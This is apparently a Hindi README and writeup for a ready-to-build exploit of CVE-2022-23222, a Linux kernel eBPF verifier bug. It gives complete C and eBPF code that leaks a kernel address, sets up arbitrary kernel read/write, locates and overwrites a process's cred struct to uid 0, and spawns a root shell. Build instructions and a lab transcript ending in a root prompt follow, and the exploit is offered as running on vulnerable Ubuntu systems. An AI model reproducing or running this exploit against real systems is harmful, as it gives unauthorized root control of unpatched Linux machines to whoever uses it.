
CVE-2022-23222, Rust के साथ प्रबंधित।
यदि आप सिर्फ इस चीज़ को बनाना और चलाना चाहते हैं तो यहाँ क्लिक करें। जो नीचे दिया गया है वह कमोबेश चीनी राइटअप का अनुवाद है, जो यहाँ उपलब्ध है।
हम संदर्भ के रूप में संस्करण 5.13.0 के लिए मुख्यधारा कर्नेल कोड का उपयोग करेंगे।
उपलब्ध पॉइंटर प्रकारों और उनकी सीमाओं की जाँच करने वाले फ़ंक्शन के बीच एक बेमेल है।
यह बेमेल पहली बार Linux 5.8 में पेश किया गया था और तब से इसे पैच किया जा चुका है।
उपलब्ध पॉइंटर प्रकारों की सूची यहाँ उपलब्ध है।```c
/* types of values stored in eBPF registers /
/ Pointer types represent:
जैसा कि आप देख सकते हैं, कई `_OR_NULL` पॉइंटर प्रकार हैं जिनका उपयोग तब किया जाता है जब कोई पॉइंटर... null हो सकता है। वेरिफायर आम तौर पर आपको इस बिंदु पर केवल null जांच करने देगा, या कुछ फ़ंक्शनों में तर्क के रूप में। निम्नलिखित फ़ंक्शन, जो [यहाँ](https://elixir.bootlin.com/linux/v5.13/source/kernel/bpf/verifier.c#L6720) उपलब्ध है, पॉइंटर सीमाओं को ट्रैक करने और जाँचने के लिए जिम्मेदार है।```c
/* Handles arithmetic on a pointer and a scalar: computes new min/max and var_off.
* Caller should also handle BPF_MOV case separately.
* If we return -EACCES, caller may want to try again treating pointer as a
* scalar. So we only emit a diagnostic if !env->allow_ptr_leaks.
*/
static int adjust_ptr_min_max_vals(struct bpf_verifier_env *env,
struct bpf_insn *insn,
const struct bpf_reg_state *ptr_reg,
const struct bpf_reg_state *off_reg)
{
// ... omitted ...
switch (ptr_reg->type) {
case PTR_TO_MAP_VALUE_OR_NULL:
verbose(env, "R%d pointer arithmetic on %s prohibited, null-check it first\n",
dst, reg_type_str[ptr_reg->type]);
return -EACCES;
case CONST_PTR_TO_MAP:
/* smin_val represents the known value */
if (known && smin_val == 0 && opcode == BPF_ADD)
break;
fallthrough;
case PTR_TO_PACKET_END:
case PTR_TO_SOCKET:
case PTR_TO_SOCKET_OR_NULL:
case PTR_TO_SOCK_COMMON:
case PTR_TO_SOCK_COMMON_OR_NULL:
case PTR_TO_TCP_SOCK:
case PTR_TO_TCP_SOCK_OR_NULL:
case PTR_TO_XDP_SOCK:
verbose(env, "R%d pointer arithmetic on %s prohibited\n",
dst, reg_type_str[ptr_reg->type]);
return -EACCES;
default:
break;
}
// ... omitted ...
return 0;
}
दुर्भाग्य से, इस सूची में कुछ प्रकार शामिल नहीं हैं। विशेष रूप से,
PTR_TO_BTF_ID, PTR_TO_BTF_ID_OR_NULL, PTR_TO_MEM,
PTR_TO_MEM_OR_NULL, PTR_TO_RDONLY_BUF, PTR_TO_RDONLY_BUF_OR_NULL,
PTR_TO_RDWR_BUF, और PTR_TO_RDWR_BUF_OR_NULL। RINGBUF
मैप प्रकार का उपयोग करके, हम एक PTR_TO_MEM_OR_NULL बना सकते हैं जो हमें वह
अंकगणित करने की अनुमति देगा जो हमें नहीं करना चाहिए।
सबसे पहले, हम दो मैप बनाते हैं। ARRAY मैप का उपयोग यूज़रस्पेस और BPF प्रोग्राम के बीच जानकारी पास करने के लिए किया जाएगा। RINGBUF मैप का उपयोग एक रजिस्टर को शोषण योग्य पॉइंटर प्रकार देने के लिए किया जाएगा।```c
int create_bpf_maps(context_t *ctx)
{
int ret = 0;
ret = bpf_create_map(BPF_MAP_TYPE_ARRAY, sizeof(u32), PAGE_SIZE, 1);
if (ret < 0) {
WARNF("Failed to create comm map: %d (%s)", ret, strerror(-ret));
return ret;
}
ctx->comm_fd = ret;
if ((ret = bpf_create_map(BPF_MAP_TYPE_RINGBUF, 0, 0, PAGE_SIZE)) < 0) {
WARNF("Could not create ringbuf map: %d (%s)", ret, strerror(-ret));
return ret;
}
ctx->ringbuf_fd = ret;
return 0;
}
अब, हम एक विशेष रूप से निर्मित BPF प्रोग्राम लोड और चलाते हैं, जो पहले
`ARRAY` मैप एड्रेस के कर्नेलस्पेस एड्रेस को BPF स्टैक पर सहेजेगा,
और फिर पहले वाली पॉइंटर चूक का लाभ उठाकर उस एड्रेस के अंतिम बाइट को
शून्य कर देगा। वेरिफायर सोचेगा कि हम ऐरे की शुरुआत से पढ़ रहे हैं,
लेकिन वास्तव में हम कुछ बाइट नीचे से पढ़ रहे हैं, जो (उम्मीद है) हमें एक
कर्नेल एड्रेस देगा।```c
int do_leak(context_t *ctx)
{
int ret = -1;
struct bpf_insn insn[] = {
// r9 = r1
BPF_MOV64_REG(BPF_REG_9, BPF_REG_1),
// r0 = bpf_lookup_elem(ctx->comm_fd, 0)
BPF_LD_MAP_FD(BPF_REG_1, ctx->comm_fd),
BPF_ST_MEM(BPF_DW, BPF_REG_10, -8, 0),
BPF_MOV64_REG(BPF_REG_2, BPF_REG_10),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -4),
BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_map_lookup_elem),
// if (r0 == NULL) exit(1)
BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 2),
BPF_MOV64_IMM(BPF_REG_0, 1),
BPF_EXIT_INSN(),
// r8 = r0
BPF_MOV64_REG(BPF_REG_8, BPF_REG_0),
// r0 = bpf_ringbuf_reserve(ctx->ringbuf_fd, PAGE_SIZE, 0)
BPF_LD_MAP_FD(BPF_REG_1, ctx->ringbuf_fd),
BPF_MOV64_IMM(BPF_REG_2, PAGE_SIZE),
BPF_MOV64_IMM(BPF_REG_3, 0x00),
BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_ringbuf_reserve),
// this is where the verifier loses track of r1
BPF_MOV64_REG(BPF_REG_1, BPF_REG_0),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_1, 1),
// if (r0 != NULL) { ringbuf_discard(r0, 1); exit(2); }
BPF_JMP_IMM(BPF_JEQ, BPF_REG_0, 0, 5),
BPF_MOV64_REG(BPF_REG_1, BPF_REG_0),
BPF_MOV64_IMM(BPF_REG_2, 1),
BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_ringbuf_discard),
BPF_MOV64_IMM(BPF_REG_0, 2),
BPF_EXIT_INSN(),
// verifier believe r0 = 0 and r1 = 0. However, r0 = 0 and r1 = 1 on runtime.
// r7 = r1 + 8
BPF_MOV64_REG(BPF_REG_7, BPF_REG_1),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_7, 8),
// verifier believe r7 = 8, but r7 = 9 actually.
// store the array pointer (0xFFFF..........10 + 0xE0)
BPF_MOV64_REG(BPF_REG_6, BPF_REG_8),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_6, 0xE0),
BPF_STX_MEM(BPF_DW, BPF_REG_10, BPF_REG_6, -8),
// partial overwrite array pointer on stack
// r0 = bpf_skb_load_bytes_relative(r9, 0, r8, r7, 0)
BPF_MOV64_REG(BPF_REG_1, BPF_REG_9),
BPF_MOV64_IMM(BPF_REG_2, 0),
BPF_MOV64_REG(BPF_REG_3, BPF_REG_10),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_3, -16),
BPF_MOV64_REG(BPF_REG_4, BPF_REG_7),
BPF_MOV64_IMM(BPF_REG_5, 1),
BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_skb_load_bytes_relative),
// r6 = 0xFFFF..........00 (off = 0xE0)
BPF_LDX_MEM(BPF_DW, BPF_REG_6, BPF_REG_10, -8),
BPF_ALU64_IMM(BPF_SUB, BPF_REG_6, 0xE0),
// map_update_elem(ctx->comm_fd, 0, r6, 0)
BPF_LD_MAP_FD(BPF_REG_1, ctx->comm_fd),
BPF_MOV64_REG(BPF_REG_2, BPF_REG_8),
BPF_MOV64_REG(BPF_REG_3, BPF_REG_6),
BPF_MOV64_IMM(BPF_REG_4, 0),
BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_map_update_elem),
BPF_MOV64_IMM(BPF_REG_0, 0),
BPF_EXIT_INSN()
};
int prog = bpf_prog_load(BPF_PROG_TYPE_SOCKET_FILTER, insn, sizeof(insn) / sizeof(insn[0]), "");
if (prog < 0) {
WARNF("Could not load program(do_leak):\n %s", bpf_log_buf);
goto abort;
}
int err = bpf_prog_skb_run(prog, ctx->bytes, 8);
if (err != 0) {
WARNF("Could not run program(do_leak): %d (%s)", err, strerror(err));
goto abort;
}
int key = 0;
err = bpf_lookup_elem(ctx->comm_fd, &key, ctx->bytes);
if (err != 0) {
WARNF("Could not lookup comm map: %d (%s)", err, strerror(err));
goto abort;
}
u64 array_map = (u64)ctx->ptrs[20] & (~0xFFL);
if ((array_map&0xFFFFF00000000000) < 0xFFFF800000000000){
WARNF("Could not leak array map: got %p", (kaddr_t)array_map);
goto abort;
}
ctx->array_map = (kaddr_t)array_map;
DEBUGF("array_map @ %p", ctx->array_map);
ret = 0;
abort:
if (prog > 0) close(prog);
return ret;
}
अब हम दो BPF प्रोग्राम सेट करते हैं जो पहले जैसी ही चाल का उपयोग करते हैं
वेरिफायर को यह सोचने के लिए धोखा देने के लिए कि हमारे पास किसी ऐसी चीज़ का पॉइंटर है जिसे हम एक्सेस कर सकते हैं
(इस मामले में, पहले की तरह comm_fd मैप के लिए), जबकि वास्तव में यह हमारी पसंद का एक मनमाना पॉइंटर है। हम
फिर उस मनमाने पते से पढ़ या लिख सकते हैं।```c
int prepare_arbitrary_rw(context_t *ctx)
{
int arbitrary_read_prog = 0;
int arbitrary_write_prog = 0;
struct bpf_insn arbitrary_read[] = {
// r9 = r1
BPF_MOV64_REG(BPF_REG_9, BPF_REG_1),
// r0 = bpf_lookup_elem(ctx->comm_fd, 0)
BPF_LD_MAP_FD(BPF_REG_1, ctx->comm_fd),
BPF_ST_MEM(BPF_DW, BPF_REG_10, -8, 0),
BPF_MOV64_REG(BPF_REG_2, BPF_REG_10),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -4),
BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_map_lookup_elem),
// if (r0 == NULL) exit(1)
BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 2),
BPF_MOV64_IMM(BPF_REG_0, 1),
BPF_EXIT_INSN(),
// r8 = r0
BPF_MOV64_REG(BPF_REG_8, BPF_REG_0),
// r0 = bpf_ringbuf_reserve(ctx->ringbuf_fd, PAGE_SIZE, 0)
BPF_LD_MAP_FD(BPF_REG_1, ctx->ringbuf_fd),
BPF_MOV64_IMM(BPF_REG_2, PAGE_SIZE),
BPF_MOV64_IMM(BPF_REG_3, 0x00),
BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_ringbuf_reserve),
// this is where the verifier loses track of r1
BPF_MOV64_REG(BPF_REG_1, BPF_REG_0),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_1, 1),
// if (r0 != NULL) { ringbuf_discard(r0, 1); exit(2); }
BPF_JMP_IMM(BPF_JEQ, BPF_REG_0, 0, 5),
BPF_MOV64_REG(BPF_REG_1, BPF_REG_0),
BPF_MOV64_IMM(BPF_REG_2, 1),
BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_ringbuf_discard),
BPF_MOV64_IMM(BPF_REG_0, 2),
BPF_EXIT_INSN(),
// verifier believe r0 = 0 and r1 = 0. However, r0 = 0 and r1 = 1 on runtime.
// r7 = (r1 + 1) * 8
BPF_MOV64_REG(BPF_REG_7, BPF_REG_1),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_7, 1),
BPF_ALU64_IMM(BPF_MUL, BPF_REG_7, 8),
// verifier believe r7 = 8, but r7 = 16 actually.
// store the array pointer
BPF_STX_MEM(BPF_DW, BPF_REG_10, BPF_REG_8, -8),
// overwrite array pointer on stack
// r0 = bpf_skb_load_bytes_relative(r9, 0, r8, r7, 0)
BPF_MOV64_REG(BPF_REG_1, BPF_REG_9),
BPF_MOV64_IMM(BPF_REG_2, 0),
BPF_MOV64_REG(BPF_REG_3, BPF_REG_10),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_3, -16),
BPF_MOV64_REG(BPF_REG_4, BPF_REG_7),
BPF_MOV64_IMM(BPF_REG_5, 1),
BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_skb_load_bytes_relative),
// fetch our arbitrary address pointer
BPF_LDX_MEM(BPF_DW, BPF_REG_6, BPF_REG_10, -8),
BPF_LDX_MEM(BPF_DW, BPF_REG_0, BPF_REG_6, 0),
BPF_STX_MEM(BPF_DW, BPF_REG_8, BPF_REG_0, 0),
BPF_MOV64_IMM(BPF_REG_0, 0),
BPF_EXIT_INSN()
};
arbitrary_read_prog = bpf_prog_load(BPF_PROG_TYPE_SOCKET_FILTER, arbitrary_read, sizeof(arbitrary_read) / sizeof(arbitrary_read[0]), "");
if (arbitrary_read_prog < 0) {
WARNF("Could not load program(arbitrary_write):\n %s", bpf_log_buf);
goto abort;
}
struct bpf_insn arbitrary_write[] = {
// r9 = r1
BPF_MOV64_REG(BPF_REG_9, BPF_REG_1),
// r0 = bpf_lookup_elem(ctx->comm_fd, 0)
BPF_LD_MAP_FD(BPF_REG_1, ctx->comm_fd),
BPF_ST_MEM(BPF_DW, BPF_REG_10, -8, 0),
BPF_MOV64_REG(BPF_REG_2, BPF_REG_10),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -4),
BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_map_lookup_elem),
// if (r0 == NULL) exit(1)
BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 2),
BPF_MOV64_IMM(BPF_REG_0, 1),
BPF_EXIT_INSN(),
// r8 = r0
BPF_MOV64_REG(BPF_REG_8, BPF_REG_0),
// r0 = bpf_ringbuf_reserve(ctx->ringbuf_fd, PAGE_SIZE, 0)
BPF_LD_MAP_FD(BPF_REG_1, ctx->ringbuf_fd),
BPF_MOV64_IMM(BPF_REG_2, PAGE_SIZE),
BPF_MOV64_IMM(BPF_REG_3, 0x00),
BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_ringbuf_reserve),
BPF_MOV64_REG(BPF_REG_1, BPF_REG_0),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_1, 1),
// if (r0 != NULL) { ringbuf_discard(r0, 1); exit(2); }
BPF_JMP_IMM(BPF_JEQ, BPF_REG_0, 0, 5),
BPF_MOV64_REG(BPF_REG_1, BPF_REG_0),
BPF_MOV64_IMM(BPF_REG_2, 1),
BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_ringbuf_discard),
BPF_MOV64_IMM(BPF_REG_0, 2),
BPF_EXIT_INSN(),
// verifier believe r0 = 0 and r1 = 0. However, r0 = 0 and r1 = 1 on runtime.
// r7 = (r1 + 1) * 8
BPF_MOV64_REG(BPF_REG_7, BPF_REG_1),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_7, 1),
BPF_ALU64_IMM(BPF_MUL, BPF_REG_7, 8),
// verifier believe r7 = 8, but r7 = 16 actually.
// store the array pointer
BPF_STX_MEM(BPF_DW, BPF_REG_10, BPF_REG_8, -8),
// overwrite array pointer on stack
// r0 = bpf_skb_load_bytes_relative(r9, 0, r8, r7, 0)
BPF_MOV64_REG(BPF_REG_1, BPF_REG_9),
BPF_MOV64_IMM(BPF_REG_2, 0),
BPF_MOV64_REG(BPF_REG_3, BPF_REG_10),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_3, -16),
BPF_MOV64_REG(BPF_REG_4, BPF_REG_7),
BPF_MOV64_IMM(BPF_REG_5, 1),
BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_skb_load_bytes_relative),
// fetch our arbitrary address pointer
BPF_LDX_MEM(BPF_DW, BPF_REG_6, BPF_REG_10, -8),
BPF_LDX_MEM(BPF_DW, BPF_REG_0, BPF_REG_8, 0),
BPF_LDX_MEM(BPF_DW, BPF_REG_1, BPF_REG_8, 8),
// if (r0 == 0) { *(u64*)r6 = r1 }
BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 2),
BPF_STX_MEM(BPF_DW, BPF_REG_6, BPF_REG_1, 0),
BPF_JMP_IMM(BPF_JA, 0, 0, 1),
// else { *(u32*)r6 = r1 }
BPF_STX_MEM(BPF_W, BPF_REG_6, BPF_REG_1, 0),
BPF_MOV64_IMM(BPF_REG_0, 0),
BPF_EXIT_INSN()
};
arbitrary_write_prog = bpf_prog_load(BPF_PROG_TYPE_SOCKET_FILTER, arbitrary_write, sizeof(arbitrary_write) / sizeof(arbitrary_read[0]), "");
if (arbitrary_write_prog < 0) {
WARNF("Could not load program(arbitrary_write):\n %s", bpf_log_buf);
goto abort;
}
ctx->arbitrary_read_prog = arbitrary_read_prog;
ctx->arbitrary_write_prog = arbitrary_write_prog;
return 0;
abort: if (arbitrary_read_prog > 0) close(arbitrary_read_prog); if (arbitrary_write_prog > 0) close(arbitrary_write_prog); return -1; }
अब हम विशेषाधिकार बढ़ाना शुरू कर सकते हैं। पहले, हम एक ज्ञात नाम के साथ बहुत सारी प्रक्रियाएँ स्पॉन करेंगे, जिसे `__ID__` पर सेट किया गया है (इस मामले में, `"SCSLSCSL"`)। फिर हम उन प्रक्रियाओं में से प्रत्येक को शेल स्पॉन करने का प्रयास करने से ठीक पहले स्वयं को रोक देंगे।```c
int spawn_processes(context_t *ctx)
{
for (int i = 0; i < PROC_NUM; i++)
{
pid_t child = fork();
if (child == 0) {
if (prctl(PR_SET_NAME, __ID__, 0, 0, 0) != 0) {
WARNF("Could not set name");
}
uid_t old = getuid();
kill(getpid(), SIGSTOP);
uid_t uid = getuid();
if (uid == 0 && old != uid) {
OKF("Enjoy root!");
system("/bin/sh");
}
exit(uid);
}
if (child < 0) {
return child;
}
ctx->processes[i] = child;
}
return 0;
}
जब ये प्रक्रियाएँ अगली बार फिर से शुरू होंगी, तो उम्मीद है कि उनमें से एक के पास रूट विशेषाधिकार होंगे।
यह एक्सप्लॉइट कुछ मनमाने रीड और राइट हेल्पर फ़ंक्शन सेट करता है, लेकिन उन्हें समझना आवश्यक नहीं है
वे केवल आपको मनमाने कर्नेल पतों को पढ़ने और लिखने देते हैं, ऊपर बनाए गए
प्रोग्रामों को कॉल करके। अब हम मेमोरी में तब तक स्कैन करना शुरू करते हैं जब तक कि हमें अपनी प्रक्रियाओं में से एक का
task_struct न मिल जाए, जब तक कि हमें
comm में सेट किया गया नाम न मिल जाए।
फिर हम 0x10 (16) बाइट्स नीचे पॉइंटर तक जाते हैं
cred की ओर (यह दो आसन्न स्थानों की कोशिश करता है)।```c
int find_cred(context_t ctx)
{
for (int i = 0; i < PAGE_SIZEPAGE_SIZE ; i++)
{
u64 val = 0;
kaddr_t addr = ctx->array_map + PAGE_SIZE + i*0x8;
if (arbitrary_read(ctx, addr, &val, BPF_DW) != 0) {
WARNF("Could not read kernel address %p", addr);
return -1;
}
// DEBUGF("addr %p = 0x%016x", addr, val);
if (memcmp(&val, __ID__, sizeof(val)) == 0) {
kaddr_t cred_from_task = addr - 0x10;
if (arbitrary_read(ctx, cred_from_task + 8, &val, BPF_DW) != 0) {
WARNF("Could not read kernel address %p + 8", cred_from_task);
return -1;
}
if (val == 0 && arbitrary_read(ctx, cred_from_task, &val, BPF_DW) != 0) {
WARNF("Could not read kernel address %p + 0", cred_from_task);
return -1;
}
if (val != 0) {
ctx->cred = (kaddr_t)val;
DEBUGF("task struct ~ %p", cred_from_task);
DEBUGF("cred @ %p", ctx->cred);
return 0;
}
}
}
return -1;
}
अब जब हमारे पास अपनी एक प्रक्रिया के
[`cred`](https://elixir.bootlin.com/linux/v5.13/source/include/linux/cred.h#L110) स्ट्रक्ट्स का पता है, तो हम
क्रेडेंशियल्स को अधिलेखित करके विशेषाधिकार बढ़ा सकते हैं। हम `uid`, `gid`, `euid`, और `egid` को शून्य पर सेट करते हैं।```c
int overwrite_cred(context_t *ctx)
{
if (arbitrary_write(ctx, ctx->cred + OFFSET_uid_from_cred, 0, BPF_W) != 0) {
return -1;
}
if (arbitrary_write(ctx, ctx->cred + OFFSET_gid_from_cred, 0, BPF_W) != 0) {
return -1;
}
if (arbitrary_write(ctx, ctx->cred + OFFSET_euid_from_cred, 0, BPF_W) != 0) {
return -1;
}
if (arbitrary_write(ctx, ctx->cred + OFFSET_egid_from_cred, 0, BPF_W) != 0) {
return -1;
}
return 0;
}
अब हम पहले की प्रक्रियाओं को फिर से शुरू करके "रूट शेल स्पॉन" करते हैं। नई रूट क्रेडेंशियल्स वाली प्रक्रिया system("/bin/sh") के साथ एक शेल स्पॉन करेगी, जबकि बाकी प्रक्रियाएँ बाहर निकल जाएँगी।```c
int spawn_root_shell(context_t *ctx)
{
for (int i = 0; i < PROC_NUM; i++)
{
kill(ctx->processes[i], SIGCONT);
}
while(wait(NULL) > 0);
return 0;
}
जब उपयोगकर्ता रूट शेल से बाहर निकलता है, तो हम सभी बचे हुए फ़ाइल डिस्क्रिप्टर बंद कर देते हैं
और सुचारू रूप से बाहर निकल जाते हैं।```c
int clean_up(context_t *ctx)
{
close(ctx->comm_fd);
close(ctx->arbitrary_read_prog);
close(ctx->arbitrary_write_prog);
kill(0, SIGCONT);
return 0;
}
प्रोजेक्ट रूट डायरेक्टरी से, docker आपके उपयोगकर्ता के लिए स्थापित और अनुमत होने पर, निम्न कमांड चलाएँ:``` $ ./build.sh
यह Ubuntu 20.04 का उपयोग करके exploit एप्लिकेशन का निर्माण करेगा, जो बिना किसी अतिरिक्त सेटअप के चलेगा
सभी असुरक्षित लक्षित Ubuntu सिस्टम(s) पर।```
❯ ./build.sh
Sending build context to Docker daemon 42.6MB
Step 1/6 : FROM ubuntu:20.04
---> 20fffa419e3a
Step 2/6 : ARG DEBIAN_FRONTEND=noninteractive
---> Using cache
---> 21a8156714bb
Step 3/6 : RUN apt-get update && apt-get upgrade -y && apt-get update && apt-get install build-essential curl -y
---> Using cache
---> 54b21b81a3ba
Step 4/6 : RUN curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh -s -- -y
---> Using cache
---> bb02d929e275
Step 5/6 : ENV PATH="/root/.cargo/bin:${PATH}"
---> Using cache
---> 3475521f417d
Step 6/6 : WORKDIR /data
---> Using cache
---> 981ef909c81a
Successfully built 981ef909c81a
Successfully tagged cve_2022_23222:latest
Use 'docker scan' to run Snyk tests against images to find vulnerabilities and learn how to fix them
/data /data
Updating crates.io index
Downloading crates ...
Downloaded cfg-if v1.0.0
Downloaded cc v1.0.73
Downloaded libc v0.2.126
Downloaded memoffset v0.6.5
Downloaded bitflags v1.3.2
Downloaded autocfg v1.1.0
Downloaded nix v0.24.1
Compiling cve_2022_23222 v0.1.0 (/data)
Finished release [optimized] target(s) in 34.45s
vagrant स्थापित होने पर, बस निम्नलिखित कमांड चलाएँ। डिफ़ॉल्ट रूप से, vagrant
कॉन्फ़िगरेशन rsync का उपयोग करके इस फ़ोल्डर को /exploit पर कॉपी करेगा। आप
Vagrantfile को अपने स्थानीय वातावरण के अनुसार संशोधित कर सकते हैं, यदि आप चाहें तो।```
❯ cd lab
❯ vagrant up && vagrant ssh
Bringing machine 'default' up with 'libvirt' provider...
==> default: Running provisioner: shell... default: Running: inline script default: kernel.unprivileged_bpf_disabled = 0 vagrant@ubuntu2110:~$ /exploit/target/release/cve_2022_23222 [D] DEBUG: array_map @ 0xffff8aecb303c000 [D] DEBUG: task struct ~ 0xffff8aecb3408ae8 [D] DEBUG: cred @ 0xffff8aec8c0b36c0 [+] Enjoy root!
uid=0(root) gid=0(root) groups=0(root),1000(vagrant)
vagrant@ubuntu2110:~$ logout
## संदर्भ
- [https://github.com/tr3ee/CVE-2022-23222](https://github.com/tr3ee/CVE-2022-23222)
- [https://tr3e.ee/posts/cve-2022-23222-linux-kernel-ebpf-lpe.txt](https://tr3e.ee/posts/cve-2022-23222-linux-kernel-ebpf-lpe.txt)
- [https://www.openwall.com/lists/oss-security/2022/01/18/2](https://www.openwall.com/lists/oss-security/2022/01/18/2)
## लाइसेंस
मेरा सारा कोड MIT लाइसेंस के अंतर्गत जारी किया गया है। मूल लेखक ने कोई लाइसेंस फ़ाइल शामिल नहीं की थी,
लेकिन कहा था कि यह "केवल शैक्षिक और शोध उद्देश्यों के लिए" है। इसे बनाना शैक्षिक और
शोध दोनों के लिए था, इसलिए मुझे लगता है कि यह मायने रखता है। `src/exploit/` के अंतर्गत कोड को भी वही "शैक्षिक
और शोध उद्देश्यों के लिए" लाइसेंस मानें। जो भी इसका मतलब हो।